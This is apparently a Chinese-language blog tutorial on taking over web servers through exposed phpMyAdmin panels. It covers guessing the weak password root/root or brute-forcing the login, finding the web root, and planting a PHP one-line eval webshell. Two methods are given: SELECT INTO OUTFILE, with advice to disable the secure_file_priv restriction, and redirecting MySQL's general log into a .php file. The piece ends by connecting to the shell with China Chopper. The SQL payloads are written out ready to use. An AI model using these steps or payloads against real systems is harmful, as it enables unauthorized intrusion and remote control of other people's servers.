PhpMyAdmin简介
PhpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录(可试下:http://ip:端口/phpmyadmin/
)时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。
into outfile导出木马
想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。
最方便的是用select @@basedir;
直接查(但有时没法查出来,只能另寻它法):
根据上面的反馈,我们可以看到 MySQL 的位置在 D:\soft\phpStudy\MySQL\
目录下。
获得网站路径后就可以企图上传木马了,最常用的是通过into outfile
在网站根目录上直接写入一句话木马:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';
但在新版的mysql中,这句话并没有运行成功。
Mysql新特性secure_file_priv
会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';
命令来查看该参数:
当secure_file_priv
为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini
文件,在[mysqld]内加入secure_file_priv =""
即可:
当secure_file_priv
的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。
利用Mysql日志文件
Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_log
和 general_log file
。
- general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
- general log file 指的是日志的保存路径。
查看日志状态的命令:show variables like '%general%';
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log
文件。
那么,如果修改general_log_file
的值,那么所执行的sql语句就会对应生成,进而getshell。
对应就会生成xxx.php文件
将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
接着可以看到日志文件中记录了木马语句:
最后中国菜刀连接,getshell: